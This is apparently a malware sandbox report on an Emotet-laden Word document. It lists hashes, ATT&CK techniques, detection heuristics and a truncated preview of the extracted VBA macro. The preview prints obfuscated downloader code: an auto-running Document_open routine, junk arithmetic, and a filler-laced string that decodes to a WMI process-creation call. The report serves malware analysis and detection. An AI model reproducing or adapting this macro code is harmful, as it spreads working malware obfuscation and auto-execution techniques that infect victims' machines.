Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 509ecb6a26107389…

MALICIOUS

Office (OLE)

260.7 KB Created: 2020-09-03 17:58:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 8aabe81f6a7930be75301ee49aad38aa SHA-1: ec2a7b40aeb35c6d7d4d614aea9ce8603a4f8ea0 SHA-256: 509ecb6a2610738956ebdf8a885bdb413fe84bd8143e1012a1fb4a4e14333d19
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject, indicating malicious intent. ClamAV detection confirms this as Emotet, a known downloader. The obfuscated VBA code likely attempts to download and execute a secondary payload, a common tactic for Emotet.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-9764332-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9764332-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13764 bytes
SHA-256: e359a998f947c3773b956a52331911ee0d043d2558f1120f73003243edf57e87
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Hr29r6ywf9x"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Call Muvta18sggxr.Jw_cd_3w1tl0f_c2
End Sub


Attribute VB_Name = "Muvta18sggxr"
Attribute VB_Base = "0{62CA0D7D-57B6-41ED-AC87-65F49C2433EA}{54EF90DD-8A6C-41E8-9A04-0229C6EE96C7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jw_cd_3w1tl0f_c2()
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(P2oym3pcc675poi)
Q803418wpggjutr = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
B408gogd4itmcby = Zxpybhgd766l9oxzpn
Mvy_0wdte1pmmez00e = (jkbasd / D0ksov7zwe67r8q)
Mr6po0u3ntel = CDate(qwiiwi)
Oqyni17_uhvtns = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Sz7pjlr5w9qheskm0l = 105
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(P2oym3pcc675poi)
Q803418wpggjutr = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
B408gogd4itmcby = Zxpybhgd766l9oxzpn
Mvy_0wdte1pmmez00e = (jkbasd / D0ksov7zwe67r8q)
Mr6po0u3ntel = CDate(qwiiwi)
Oqyni17_uhvtns = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Yfn3ckfktte8n = ChrW$(Sz7pjlr5w9qheskm0l + (10))
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(P2oym3pcc675poi)
Q803418wpggjutr = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
B408gogd4itmcby = Zxpybhgd766l9oxzpn
Mvy_0wdte1pmmez00e = (jkbasd / D0ksov7zwe67r8q)
Mr6po0u3ntel = CDate(qwiiwi)
Oqyni17_uhvtns = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Ytu1al9766kd = "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]i26{} 328[]9 gv]bhja[]nm26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]gm26{} 328[]9 gv]bhja[]t26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]" + Yfn3ckfktte8n + "26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]:26{} 328[]9 gv]bhja[]w26{} 328[]9 gv]bhja[]in26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]326{} 328[]9 gv]bhja[]226{} 328[]9 gv]bhja[]_26{} 328[]9 gv]bhja[]" + Muvta18sggxr.Gy8wv73ohscd + "26{} 328[]9 gv]bhja[]ro26{} 328[]9 gv]bhja[]26{} 328[]9 gv]bhja[]ce26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]s26{} 328[]9 gv]bhja[]"
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(P2oym3pcc675poi)
Q803418wpggjutr = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
B408gogd4itmcby = Zxpybhgd766l9oxzpn
Mvy_0wdte1pmmez00e = (jkbasd / D0ksov7zwe67r8q)
Mr6po0u3ntel = CDate(qwiiwi)
Oqyni17_uhvtns = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
Gewripeg8kkagf = Inai3htrmg7lv_69(Ytu1al9766kd)
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhiq) _
 / qugjasd / CLng(rre * qwewq) - fhaodw * CDate(bhuoqwgof) * jsjsw / Log(P2oym3pcc675poi)
Q803418wpggjutr = Chr(666 - Atn(qwohqd) / jbkqwkje / Tan(iuqwgjd / iuqghjwasd))
B408gogd4itmcby = Zxpybhgd766l9oxzpn
Mvy_0wdte1pmmez00e = (jkbasd / D0ksov7zwe67r8q)
Mr6po0u3ntel = CDate(qwiiwi)
Oqyni17_uhvtns = qwkljkwq - Sin(qwhii) - dklhiasd - CBool(qwewqe) / 334 + Fix(qwkhsd)
   On Error Resume Next
Set HLklks = NJLLKsd
Ucychdjgtyj6flx6ne = jsjjswww + wiiwjdd * J06g_92qayk6ep9r_u / CLng(ajakhi
... (truncated)

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